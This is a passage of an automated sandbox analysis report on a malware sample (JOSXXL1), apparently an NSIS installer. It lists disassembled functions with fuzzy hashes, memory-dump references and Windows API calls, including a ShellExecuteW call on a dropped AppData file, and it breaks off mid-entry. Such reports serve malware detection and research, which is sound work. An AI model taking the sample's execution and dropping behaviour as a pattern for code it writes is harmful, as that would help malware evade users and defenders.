Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c1f6239bfa1496998a371feb9f956813f4bb707a4bc8307f638f0ab127b8830
Instruction ID: 29bb6eb7f5aafbc6e445c06f8dac873239588b1e002d851f56b7f63b732aee86
Opcode Fuzzy Hash: 8c1f6239bfa1496998a371feb9f956813f4bb707a4bc8307f638f0ab127b8830
Instruction Fuzzy Hash: A9A14471D00229CBDB28CFA8C844BADBBB1FF44305F21856ED856BB281D7785A86CF44

Function 00406E7D Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7b88453d07393fdeb677dd88dae3b78eedf61d9a77563a8484cf44dd47aba53
Instruction ID: e1a0b165b1ec2cfc9f877bfb9dcbf2309f9cd93107b4533ef6724984480a2cde
Opcode Fuzzy Hash: c7b88453d07393fdeb677dd88dae3b78eedf61d9a77563a8484cf44dd47aba53
Instruction Fuzzy Hash: 2A913370D00229CBDF28CFA8C844BADBBB1FF44305F15816AD856BB281C779A986DF45

Function 00406B93 Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4cabeb7f0ac32f2dbf9dc68cead907101fe434422346ba396ff6a4e1791945c5
Instruction ID: 37e0958252648d02cff52253bcfdfe32609a82ce416cf41b7e12165f3d842d3a
Opcode Fuzzy Hash: 4cabeb7f0ac32f2dbf9dc68cead907101fe434422346ba396ff6a4e1791945c5
Instruction Fuzzy Hash: 3A814571D04228CFDF24CFA8C944BADBBB1FB44305F25816AD456BB281C7789A96CF45

Function 00406698 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f55e986299dffb9fb67cabe2458bae2281fa53825949e9f46481d15298381b70
Instruction ID: badab6c45d1579aebeb642038854a5de2f2e9fe133ee6b5741b25705484aa732
Opcode Fuzzy Hash: f55e986299dffb9fb67cabe2458bae2281fa53825949e9f46481d15298381b70
Instruction Fuzzy Hash: 9A816731D04228DBDF24CFA8C844BADBBB0FF44305F21856AD856BB281D7796A86DF45

Function 00406AE6 Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f41dab0dbba64a540d9551cbe01a5d5f92f5b5317ed5009a96d4fab12e5207c8
Instruction ID: 661ade8e8f79e5a6005bf83598ee02ccf2e60dcd73e05bd09c6951c965a298a8
Opcode Fuzzy Hash: f41dab0dbba64a540d9551cbe01a5d5f92f5b5317ed5009a96d4fab12e5207c8
Instruction Fuzzy Hash: DC713471D00228CFDF24CFA8C944BADBBB1FB48305F25816AD846B7281D7799A96DF44

Function 00406C04 Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27edfd15d06558e6ae5c336135e48ef31f60b588342a43fc4fa727b2134efb1b
Instruction ID: d698c6254bb21e10e407083827577a24b67810c044b8fa2104370265796c5121
Opcode Fuzzy Hash: 27edfd15d06558e6ae5c336135e48ef31f60b588342a43fc4fa727b2134efb1b
Instruction Fuzzy Hash: C3714571D04228CFDF28CFA8C844BADBBB1FB48305F25816AD856B7281C7785956DF45

Function 00406B50 Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3d564453c2182c562a1b6ec6fca3cbebf624123e7e397cf1c44fef12d2f9579
Instruction ID: 46d523a662c7919231ebab16691ba05348c69527c8d8aa00e9837d4009f14a99
Opcode Fuzzy Hash: e3d564453c2182c562a1b6ec6fca3cbebf624123e7e397cf1c44fef12d2f9579
Instruction Fuzzy Hash: 28714571D00228DBDF28CF98C944BADBBB1FF44305F21816AD856BB281C778AA56DF44

Function 004031EF Relevance: 4.6, APIs: 3, Instructions: 101COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00403203

Part of subcall function 0040336E: SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040306C,?), ref: 0040337C

SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,00403119,00000004,00000000,00000000,0040A230,?,00403093,000000FF,00000000,00000000,?,?), ref: 00403236
SetFilePointer.KERNELBASE(00006683,00000000,00000000,00414EF0,00004000,?,00000000,00403119,00000004,00000000,00000000,0040A230,?,00403093,000000FF,00000000), ref: 00403331

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: FilePointer$CountTick
String ID:
API String ID: 1092082344-0
Opcode ID: 1d6b410ec908590b26d0e6386832776f3ccc0075e6ffb3c2499094a24fe2f275
Instruction ID: 2f989109dca0f14896005150ea4b142ee5491df85de4bcb3d025a191183ef828
Opcode Fuzzy Hash: 1d6b410ec908590b26d0e6386832776f3ccc0075e6ffb3c2499094a24fe2f275
Instruction Fuzzy Hash: 6F317A72500215DFCB109F69EEC496A3BAAF74475A714423FE900B22E0CB799D05DB9D

Function 00401FC3 Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 00401FEE

Part of subcall function 004052E2: lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402E19,00000000,?), ref: 0040531A
Part of subcall function 004052E2: lstrlenW.KERNEL32(00402E19,Skipped: C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402E19,00000000), ref: 0040532A
Part of subcall function 004052E2: lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll,00402E19,00402E19,Skipped: C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll,00000000,00000000,00000000), ref: 0040533D
Part of subcall function 004052E2: SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll), ref: 0040534F
Part of subcall function 004052E2: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405375
Part of subcall function 004052E2: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040538F
Part of subcall function 004052E2: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040539D

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 00401FFF
FreeLibrary.KERNEL32(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 0040207C

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: f8ad2080ec2a29a5aa708a75619b44549f0e95cc898dad1c7a4ad7566d460bc2
Instruction ID: be163213bf01efc0596bf906ca0f1611b6abe1a57da7fca01b5cdd0d3cce8cbe
Opcode Fuzzy Hash: f8ad2080ec2a29a5aa708a75619b44549f0e95cc898dad1c7a4ad7566d460bc2
Instruction Fuzzy Hash: 4921C631900219EBCF20AFA5CE48A9E7E71BF00354F60427BF501B51E1CBBD8A81DA5E

Function 00401B37 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 00401BA7
GlobalAlloc.KERNELBASE(00000040,00000804), ref: 00401BB9

Strings

Call, xrefs: 00401B5E, 00401B64, 00401B7E

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: Global$AllocFree
String ID: Call
API String ID: 3394109436-1824292864
Opcode ID: f88941aab83e101553d5540b733a17bc25209ec56a178cf788fbb5fa74510e27
Instruction ID: b8c0f167556598de95a2943c4b9b6d871f440ab9687b9cc3bbf8d3c3407f6303
Opcode Fuzzy Hash: f88941aab83e101553d5540b733a17bc25209ec56a178cf788fbb5fa74510e27
Instruction Fuzzy Hash: 76212372A00101EBDB20EFA4CE84E5E77B6AF84324724413BF502B72D1DA78A8219B5D

Function 0040249E Relevance: 4.5, APIs: 3, Instructions: 44registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402CC9: RegOpenKeyExW.KERNELBASE(00000000,00000122,00000000,00000022,00000000,?,?), ref: 00402CF1

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 004024CD
RegEnumValueW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,00000003), ref: 004024E0
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nstA69B.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024F6

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: Enum$CloseOpenValue
String ID:
API String ID: 167947723-0
Opcode ID: 75e403394dc50a8c7c183b4285cc569fa5c7c3c77eca1b14b9eda447d69f20eb
Instruction ID: f7d1df95d760c65b2fa1112c316253173fa515e4752bf04adbc10342b079e70f
Opcode Fuzzy Hash: 75e403394dc50a8c7c183b4285cc569fa5c7c3c77eca1b14b9eda447d69f20eb
Instruction Fuzzy Hash: 12F08171A00204EBEB209F65DE8CABF767CEF80354B10803FF405B61D0DAB84D419B69

Function 00401E08 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

ShellExecuteW.SHELL32(?,00000000,00000000,00000000,C:\Users\user\AppData\Local\indvandrings\attraavrdig,?), ref: 00401E52

Strings

C:\Users\user\AppData\Local\indvandrings\attraavrdig, xrefs: 00401E3B

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: ExecuteShell
String ID: C:\Users\user\AppData\Local\indvandrings\attraavrdig
API String ID: 587946157-3036879226
Opcode ID: 158f6bd7a2a94e12e99570158ecabfa588133fd885f5a6516805ca769e2f3cbe
Instruction ID: 6f03a3129deb64bde54e8dcd59ef9069cb9fc2feb89592f518e75193bcf3d7b7
Opcode Fuzzy Hash: 158f6bd7a2a94e12e99570158ecabfa588133fd885f5a6516805ca769e2f3cbe
Instruction Fuzzy Hash: ACF0C236B00100AACB11AFB99E4AEAD33B9AB44724B240577F901F74D5DAFC89419618

Function 100028A4 Relevance: 3.2, APIs: 2, Instructions: 156fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000), ref: 10002963
GetLastError.KERNEL32 ref: 10002A6A

Memory Dump Source

Source File: 00000000.00000002.2337909771.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2337832913.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2337963642.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2338036438.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_JOSXXL1.jbxd

Similarity

API ID: ErrorFileLastRead
String ID:
API String ID: 1948546556-0
Opcode ID: 59d19e049e546944b5a660a22879eb7514e0dc07886846df9c342dd830f48687
Instruction ID: 77f315af6c145f6c632c2ebe68d3f6cdb0cf0445c85f86b19d364da59c27affc
Opcode Fuzzy Hash: 59d19e049e546944b5a660a22879eb7514e0dc07886846df9c342dd830f48687
Instruction Fuzzy Hash: 8851C4B9905214DFFB20DFA4DD8675937A8EB443D0F22C42AEA04E721DCE34E990CB55

Function 004030E7 Relevance: 3.1, APIs: 2, Instructions: 88COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,00000000,00000000,00000000,00000000,0040A230,?,00403093,000000FF,00000000,00000000,?,?), ref: 0040310C

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 018d308ea692820c8829675fa6e34eac859b76ea50dec8528c81e60ce8839cd5
